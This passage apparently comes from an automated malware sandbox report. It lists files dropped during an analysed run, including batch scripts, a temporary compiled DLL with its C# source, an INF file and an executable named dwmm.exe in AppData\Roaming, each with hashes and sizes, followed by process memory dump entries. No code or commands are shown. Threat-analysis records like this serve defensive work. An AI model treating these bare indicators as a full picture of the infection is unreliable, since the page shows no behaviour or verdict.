272b1d2d25c1caa82671c3ef22fd9099900b6df66bac81801b68fdc4631dd64c

SHA512
b2ef95e333376c3cb845196788f8572b9e260fb60b15bfe1ae7ae6d1f352e1d976db3bacf17333bc78219f4a61b91e6c429a9aa7325f34bdac3e4507c840e61c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
21KB

MD5
a4500751586f80731da3c814ef2046f2

SHA1
283f3af2d489f58bfd8a987f24f3ef1ae2ae3df0

SHA256
568a6dd7ae371d699f9c3c083950c0591bacd7ef89efd351f5712d799fcc18b7

SHA512
010548d78713361e9e57a1e8b4f3ad521e22c6d31fa6f164f074e2064c778400acd6e7f00fdb6f1696b1c34ec4bcbeaefb8c7bfcac43582e033e759aa3832128

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
20KB

MD5
e0f5960a0556433b232de954a76b8cb3

SHA1
217a8fbae907fe13e520d59d836b9be0085fb289

SHA256
a944b265801f12fd00e5de30c3c2b67c5eca16a8f882a11a8d288e55389d102d

SHA512
04a02e598d0054798dcb127e2be9540574267385cb6f9d7f8779ad540c573d3f599851ba9a351c914e6f7b73c5b4f73e044f62b47d38c0e325aaa22fac9dccdf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
129b0eae051e116c39b4a49f152aca98

SHA1
a8ee88da2dd6724280dcba08760f311589c25cdd

SHA256
f510fc496a4bdb4e8045d66b81620156d51c17b33f6499472c00ac72abcf73ff

SHA512
62d480dee86e7a08487afdaba6bef104518fd9ba9ecbcbeb0efab87ac09d7e73aed40b84c40b4d602bf758a895eca6acd6b9dae748ca5010942f93a48f383a3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\3vjxiheh\3vjxiheh.dll

Filesize
4KB

MD5
cfcc8b0667278ba2cc89a46b29162f6c

SHA1
e13a36ab1a4ebb74b3694783d9c3476f27acd190

SHA256
25c4339206e5fb2ba6df4272ad92f9a782234d8c40928fc259572535f9cd5e59

SHA512
a19c949f7cadc6c0c919311dc7c310b1059e085c9e7c0aad96e15a6a4fddae27de53808f6bf30959b16b9778debec2d412bf3ec8b5ab2bfc1e53ee7b70c8c944

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES74D2.tmp

Filesize
1KB

MD5
d11b64ed36d2036379b5a1ed2898f051

SHA1
628942b1ceff3ece9a144f3813677e3ec2ac3949

SHA256
7d6e8cd2cd7a9191ce779cae14814ab5937efbaa4b2586b84da55d038cdbef9d

SHA512
eed1204c9bd1098612446811addb5fd38fc486fb149d29ef5512b1f8dcba50515eeb0db03338c2d22339895688c1f37e9a5471c673de692ad804244f3498c9cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yaaoaxhy.aag.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
45KB

MD5
5e75db78b4eefa9d95b411029918152d

SHA1
1d973f2303effe01afd04f4e2f4cb11eb0ea7880

SHA256
837356ed1c9ccee26cec4e28385becea54f6ce2ed876e16ef788f9572d97befb

SHA512
f3f33476c5a6e1e1941a3e00f458cca79f9cdfba1c1d67f88e1af2d626f3e61cf7bcc8ef21cc9041ecd70e7c393e4f3a5cbcd3f58e0d4dfb08c22682b0f6e1dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpAAC2.tmp.bat

Filesize
148B

MD5
daf933d74f5e05c3ae335bc41618d8a5

SHA1
c68e5873f21bdad97dbc521a73752fba1f0d8b97

SHA256
2424f0619c462aa263266833b76437bab7787944b86b0e3b59e9e9ce4f30360f

SHA512
b33d0c0effbddb240ad58a10a1214e74a9041c8e9fcf6a7706f1b421061968fe6a17d768c6350a45ccc9e516bef6e1b0371bbe2dc8440084f9fc510b70173269

Download Submit
C:\Users\Admin\AppData\Roaming\dwmm.exe

Filesize
425KB

MD5
6bb54b2d7a3d63578559239a79700ea3

SHA1
bc8d22b16e9ab2045c3acfb8ff1c0ce97bd9936a

SHA256
870eda04ea71cc066ec907f005e1d05ce592f04799c60e600e2cb986dc85b5eb

SHA512
5eb2369b6d5cf615d9ef49315ef2278db7cf9a9fe2deb3c2568ff114d51dbd1a9ca4e4ab696e0bf6e2c5d9e3e2c84c706cd550824f3b45b3f7df1690503a4614

Download Submit
C:\windows\temp\iggnhd45.inf

Filesize
683B

MD5
a4fd12b94ad4ac06fabd8dd56dd5ff2b

SHA1
940d129205e04ba31b10a72d7a7a236a9ed0488b

SHA256
fe9977d49d2ae366779da959a5c9a6cc7664bc82d7c8e243f1baa9aa539cd320

SHA512
a4712ad7a23ab7a1eadfdaa7dc73dc406a0a14313c0413561f2f4ba8087c79c504d1d4391585b1b91f580ffef3869a37523707979dd5ab870a596062497e79fe

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\3vjxiheh\3vjxiheh.0.cs

Filesize
2KB

MD5
897ac4306f2a2524bc3c441bd00c72b9

SHA1
1703dbf9a2a78491dfd6685540d4691839e33b69

SHA256
a889dd1616631e369d253d6d89cc3a253b663e636bb1cdebbf831817592b405b

SHA512
2eba96a7960fe4c8c083ffbca30dbff4c5aac6acfa2c99b6ab5802376d028cbf471c3f06fcef9a3a0129dc988df1aceba808c3436cd110c123dc2ba1147c81b6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\3vjxiheh\3vjxiheh.cmdline

Filesize
369B

MD5
4447a398599cde7e2998909b76e5b0e2

SHA1
a57143273a5fc2dffef0fa72ff1dfc122b8201f5

SHA256
2d51695044a9227ec484e9e2c15fb1680bd8eaf96c12115deeee2f2f782c482f

SHA512
3d737f2a6ee41b41e6608436ba68f4ea7992689249f18d87e95c5da429227b61f45f503f3e4bfd710a7e3b87983e356f755e838a965f061837d2762b7dcff127

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\3vjxiheh\CSCF160F39F16B4B76A79DAD0DA7FAA71.TMP

Filesize
652B

MD5
a340f1c5c01f25a90458f9c5b3ecb54f

SHA1
2aadd1ba4b75504c0cf597e923af593a4de83052

SHA256
e98dca9cad2af0c0465120c6a5f8d8219ac2f913b3cfcff1e40f2de51f57cf29

SHA512
dfcc6a06a99e7a328b4054aee30046f9c4148862fec936f778ef89cf792b5f4210e4b7e6dc5f9ccb9fef353181779101246152727efd28a3ead383cf2c29e4d7

Download Submit
memory/560-208-0x0000000008130000-0x00000000081CC000-memory.dmp

Filesize
624KB

Download
memory/560-207-0x00000000054A0000-0x00000000054B2000-memory.dmp

Filesize
72KB

Download
memory/1180-218-0x0000000005950000-0x0000000005CA7000-memory.dmp

Filesize
3.3MB

Download
memory/2444-196-0x0000000070BE0000-0x0000000070C2C000-memory.dmp

Filesize
304KB

Download
memory/3144-128-0x0000000070BE0000-0x0000000070C2C000-memory.dmp

Filesize
304KB

Download
memory/3980-173-0x0000000070BE0000-0x0000000070C2C000-memory.dmp

Filesize
304KB

Download
memory/3980-183-0x0000000007890000-0x0000000007933000-memory.dmp

Filesize
652KB

Download
memory/3980-184-0x0000000007B90000-0x0000000007BA1000-memory.dmp

Filesize
68KB

Download
memory/4240-116-0x00000000078F0000-0x0000000007901000-memory.dmp

Filesize
68KB

Download
memory/4240-115-0x00000000079C0000-0x0000000007A56000-memory.dmp

Filesize
600KB

Download
memory/4240-114-0x0000000007780000-0x000000000778A000-memory.dmp

Filesize
40KB

Download
memory/4240-113-0x0000000007660000-0x0000000007703000-memory.dmp

Filesize
652KB

Download
memory/4240-112-0x0000000007580000-0x000000000759E000-memory.dmp

Filesize
120KB

Download
memory/4240-102-0x0000000070BE0000-0x0000000070C2C000-memory.dmp

Filesize
304KB

Download
memory/4240-101-0x00000000075C0000-0x00000000075F2000-memory.dmp

Filesize
200KB

Download
memory/4608-44-0x00007FFB39223000-0x00007FFB39225000-memory.dmp

Filesize
8KB

Download
memory/4608-49-0x00007FFB39220000-0x00007FFB39CE2000-memory.dmp

Filesize
10.8MB

Download
memory/4608-1-0x0000018578E50000-0x0000018578E72000-memory.dmp

Filesize
136KB

Download
memory/4608-11-0x00007FFB39220000-0x00007FFB39CE2000-memory.dmp

Filesize
10.8MB

Download
memory/4608-12-0x00007FFB39220000-0x00007FFB39CE2000-memory.dmp

Filesize
10.8MB

Download
memory/4608-13-0x00007FFB39220000-0x00007FFB39CE2000-memory.dmp

Filesize
10.8MB

Download
memory/4608-14-0x000001857B570000-0x000001857B58C000-memory.dmp

Filesize
112KB

Download
memory/4608-27-0x000001857B590000-0x000001857B598000-memory.dmp

Filesize
32KB

Download
memory/4608-0-0x00007FFB39223000-0x00007FFB39225000-memory.dmp

Filesize
8KB

Download
memory/4608-45-0x00007FFB39220000-0x00007FFB39CE2000-memory.dmp

Filesize
10.8MB

Download
memory/4620-73-0x00000000065D0000-0x000000000661C000-memory.dmp

Filesize
304KB

Download
memory/4620-59-0x0000000005780000-0x00000000057A2000-memory.dmp

Filesize
136KB

Download
memory/4620-58-0x00000000058E0000-0x0000000005FAA000-memory.dmp

Filesize
6.8MB

Download
memory/4620-57-0x0000000002BD0000-0x0000000002C06000-memory.dmp

Filesize
216KB

Download
memory/4620-66-0x0000000005FB0000-0x0000000006016000-memory.dmp

Filesize
408KB

Download
memory/4620-62-0x0000000005820000-0x0000000005886000-memory.dmp

Filesize
408KB

Download
memory/4620-71-0x0000000006120000-0x0000000006477000-memory.dmp

Filesize
3.3MB

Download
memory/4620-72-0x0000000006580000-0x000000000659E000-memory.dmp

Filesize
120KB

Download
memory/4620-89-0x0000000007B70000-0x0000000007B7E000-memory.dmp

Filesize
56KB

Download
memory/4620-74-0x0000000007720000-0x0000000007764000-memory.dmp

Filesize
272KB

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memory/4620-75-0x0000000007960000-0x00000000079D6000-memory.dmp

Filesize
472KB

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memory/4620-77-0x0000000007A00000-0x0000000007A1A000-memory.dmp

Filesize
104KB

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memory/4620-76-0x0000000008060000-0x00000000086DA000-memory.dmp

Filesize
6.5MB

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